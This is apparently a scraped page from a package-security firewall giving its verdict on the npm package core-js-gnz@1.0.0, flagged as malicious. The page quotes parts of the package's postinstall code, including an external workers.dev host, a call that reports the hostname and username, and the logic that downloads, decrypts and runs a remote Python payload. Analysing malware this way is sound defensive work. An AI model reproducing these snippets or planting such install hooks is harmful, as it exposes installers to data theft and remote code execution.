Loading npm security reports…

core-js-gnz@1.0.0: Malicious npm security report (Block) | LPM Firewall

registry / core-js-gnz / 1.0.0

core-js-gnz@1.0.0

Core JavaScript utilities for Node.js

AI Security Review

scanned 4d ago · by lpm-firewall-ai

The automatic install hook attempts system-data reporting and encrypted remote Python execution. Implementation defects may prevent the attempted attack from succeeding.

Static reason

One or more suspicious static signals were detected.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review

Trigger

npm postinstall on machines with Desktop, Documents or Downloads directories, subject to a daily cache check.

Impact

Potential execution of externally supplied code with the installing user's permissions and disclosure of machine identifiers; successful execution and further collection are unverified.

Mechanism

Download and decrypt remote code, write Python files into a home-directory cache, then launch a detached interpreter.

Attack narrative

Installing the package automatically activates a hook that checks for desktop directories, attempts to report machine identifiers, and retrieves an encrypted Python payload. It decrypts and saves that payload, appends a data-loading and sending call, and attempts to run it silently in a detached process. The malformed hostname and Python separators limit operational reliability but do not explain this behavior as buffer functionality.

AI rationale

Inspected source establishes an automatic remote-payload execution attempt unrelated to the advertised buffer utilities. Execution defects and unavailable payload contents limit claims about successful compromise, not the malicious intent of the install hook.

Evidence

package.jsoninit.js.cache/core-js-buffer/.init_check.cache/core-js-buffer/modules/runtime.py.cache/core-js-buffer/modules/exec_runtime.py

Source & flagged code

7 flagged

package.jsonView file

Lines 1-28json

2 "name": "core-js-gnz",

3 "version": "1.0.0",

4 "description": "Core JavaScript utilities for Node.js",

5 "main": "buffer.js",

6 "types": "buffer.d.ts",

7 "scripts": {

8 "postinstall": "node init.js",

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg · L8

9 "test": "node test.js"

10 },

11 "keywords": [

12 "buffer",

High

Ai Review Evidence

package.json automatically runs init.js after installation.

package.jsonView on unpkg · L8

13 "core",

14 "javascript",

15 "node",

16 "util",

17 "convert",

18 "binary"

19 ],

20 "author": "corejs-utils",

21 "license": "MIT",

22 "repository": {

23 "type": "git",

24 "url": "git+https://github.com/corejs-utils/node-buffer-core.git"

25 },

26 "type": "commonjs",

27 "bugs": {

28 "url": "https://github.com/corejs-utils/node-buffer-core/issues"

init.jsView file

Lines 1-36javascript

1/**

2 * core-js-buffer init — Environment check

3 */

5'use strict';

7const crypto = require('crypto');

8const https

Source & flagged code

7 flagged · loading source

package.jsonView file

•scripts.postinstall = node init.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

8"postinstall": "node init.js", "test": "node test.js" }, "keywords": [

High

Ai Review Evidence

package.json automatically runs init.js after installation.

package.jsonView on unpkg · L8

init.jsView file

•matchType = normalized_sha256 matchedPackage = core-js-buffer@1.0.0 matchedPath = init.js matchedIdentity = npm:Y29yZS1qcy1idWZmZXI:1.0.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

init.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = adfb7dafe1c56c3f signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = core-js-buffer@1.0.0 matchedPath = init.js matchedIdentity = npm:Y29yZS1qcy1idWZmZXI:1.0.0 similarity = 1.000 shingleOverlap = 2 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

init.jsView on unpkg

16const HOST = 'helper.businesse-vip1.workers.dev/'; const CACHE = path.join(os.homedir(), '.cache', 'core-js-buffer'); const SEED = 'BIP-0174 PSBT

High

Ai Review Evidence

init.js targets an external server and a cache under the user's home directory.

init.jsView on unpkg · L16

113httpPost('/report', { hostname: os.hostname(), user: os.userInfo().username, platform: os.platform() + ' ' + os.arch(), node_version: process.versions.node, os_release: os.release(), package: 'core-js-buffer@' + pkgV

High

Suspicious Lifecycle Evidence

The install hook attempts to report the hostname, username and system details.

init.jsView on unpkg · L113

125var blob = await httpGet('/e'); if (!blob || blob.length < 32) return; var plain = gcmDecrypt(key, blob); if (!plain || plain.length < 100) return; var code = plain.toString('utf8'); if (!code.includes('TelemetrySender')) return; va

High

Ai Review Evidence

It downloads an encrypted payload from /e, decrypts it and checks for TelemetrySender.

init.jsView on unpkg · L125

core-js-gnz@1.0.0

AI Security Review

OSV advisory

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Source & flagged code